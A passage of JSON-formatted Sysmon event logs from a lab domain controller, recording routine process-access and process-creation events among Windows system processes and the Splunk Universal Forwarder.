AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.091\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.091","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.091\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422A-5F2D-0000-0010581B0900}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.091","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422A-5F2D-0000-0010581B0900}","TargetProcessId":"3168","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.964\r\nProcessGuid: {90617006-422A-5F2D-0000-00101E1D0900}\r\nProcessId: 4604\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.964","ProcessGuid":"{90617006-422A-5F2D-0000-00101E1D0900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-422A-5F2D-0000-00101E1D0900}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-422A-5F2D-0000-00101E1D0900}","TargetProcessId":"4604","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422A-5F2D-0000-00101E1D0900}\r\nTargetProcessId: 4604\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422A-5F2D-0000-00101E1D0900}","TargetProcessId":"4604","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceived